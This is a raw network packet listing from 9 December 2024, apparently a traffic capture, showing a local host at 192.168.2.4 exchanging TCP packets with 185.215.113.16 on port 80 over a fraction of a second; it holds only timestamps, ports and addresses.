Dec 9, 2024 23:09:19.650223970 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.650377035 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.650464058 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.651894093 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.652000904 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.652050018 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.653620958 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.653678894 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.653706074 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.653949976 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.655771017 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.655812979 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.655886889 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.655932903 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.657322884 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.657370090 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.657370090 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.657419920 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.658878088 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.658973932 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.659020901 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.660583019 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.660630941 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.660723925 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.660849094 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.662281990 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.662328959 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.662374020 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.662419081 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.664047956 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.664122105 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.664139032 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.664179087 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.665682077 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.665724993 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.665750980 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.665812969 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.667356968 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.667412043 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.667442083 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.667546034 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.668987989 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.669075966 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.669087887 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.669131994 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.670495033 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.670540094 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.670588017 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.670629978 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.672135115 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.672178984 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.672261000 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.672316074 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.673681974 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.673732042 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.673809052 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.673855066 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.675184965 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.675232887 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.675316095 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.675462961 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.676806927 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.676817894 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.676848888 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.676862001 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.678312063 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.678355932 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.678427935 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.678471088 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.679795980 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.679840088 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.679847002 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.679892063 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.681323051 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.681365013 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.681427002 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.681471109 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.682846069 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.682895899 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.682972908 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.683018923 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.684336901 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.684405088 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.684451103 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.685915947 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.686001062 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.686032057 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.686090946 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.687434912 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.687520027 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.687577009 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.688812971 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.688874960 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.688900948 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.688937902 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.690257072 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.690386057 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.690407991 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.690481901 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.691783905 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.691901922 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.691947937 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.693243027 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.693352938 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.693438053 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.693521976 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.694705963 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.694756031 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.694778919 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.694820881 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.696145058 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.696197033 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.696268082 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.696319103 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.697643995 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.697722912 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.697753906 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.697799921 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.699112892 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.699166059 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.699246883 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.699294090 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.700545073 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.700604916 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.700685024 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.700746059 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.701986074 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.702038050 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.702096939 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.702188015 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.703494072 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.703546047 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.703561068 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.703613997 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.704961061 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.705008984 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.705162048 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.705223083 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.706465006 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.706538916 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.706649065 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.706696987 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.708081007 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.708199978 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.708260059 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.709345102 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.709490061 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.709543943 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.710812092 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.710910082 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.710937977 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.710956097 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.714134932 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.714190006 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.714324951 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.714405060 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.714692116 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.714768887 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.714814901 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.715567112 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.715622902 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.715650082 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.715704918 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.716672897 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.716730118 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.716804981 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.716854095 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.718132019 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.718224049 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.718255043 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.718303919 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.719613075 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.719676018 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.719753981 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.719842911 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.721093893 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.721168995 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.830682993 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.830796957 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.830881119 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.831151009 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.831481934 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.831541061 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.831590891 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.831631899 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.833400965 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.833446980 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.833472013 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.833519936 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.833749056 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.833802938 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.833827972 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.833869934 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.834530115 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.834662914 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.834678888 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.834706068 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.835629940 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.835700035 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.835700035 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.835745096 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.836725950 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.836783886 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.836914062 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.837002993 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.837837934 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.837893963 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.837918997 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.838043928 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.838794947 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.838845968 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.838859081 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.838893890 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.839890957 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.839942932 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.839993000 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.840132952 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.841172934 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.841219902 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.841296911 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.841336966 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.841969013 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.842010021 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.842123985 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.842236996 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.843149900 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.843224049 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.843303919 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.843353033 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.844047070 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.844108105 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.844135046 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.844177008 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.845056057 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.845102072 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.845191956 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.845251083 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.846031904 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.846080065 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.846452951 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.846529961 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.847098112 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.847157955 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.847273111 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.847307920 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.848083973 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.848134041 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.848157883 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.848218918 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.849117994 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.849164963 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.849273920 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.849328995 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.850142956 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.850188017 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.850220919 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.850281000 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.851171017 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.851244926 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.851330996 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.851377010 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.852204084 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.852246046 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.852355003 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.852448940 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.853233099 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.853349924 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.853354931 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.853394032 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.854516983 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.854557991 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.854974031 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.855066061 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.855935097 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.855952978 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.855998993 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.856512070 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.856564999 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.856612921 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.856693029 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.857428074 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.857496977 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.857539892 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.857590914 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.858303070 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.858433962 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.858477116 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.859363079 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.859431982 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.859462023 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.859504938 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.860357046 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.860414982 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.860470057 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.860667944 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.861373901 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.861427069 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.861481905 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.861526012 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.862462997 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.862514019 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.862571001 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.862611055 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.863482952 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.863564014 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.863708973 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.863759995 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.864490986 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.864540100 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.864692926 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.864737034 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.865541935 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.865592003 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.865618944 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.865696907 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.866530895 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.866592884 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.866667986 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.866708994 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.867630959 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.867691040 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.867747068 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.867801905 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.868585110 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.868644953 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.868707895 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.868746996 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.869659901 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.869724989 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.869756937 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.869822025 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.870606899 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.870647907 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.870748997 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.870879889 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.871680975 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.871726036 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.871884108 CET	80	49791	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:19.871921062 CET	49791	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:19.872816086 CET	80	49791	185.215.113.16	192.168.2.4
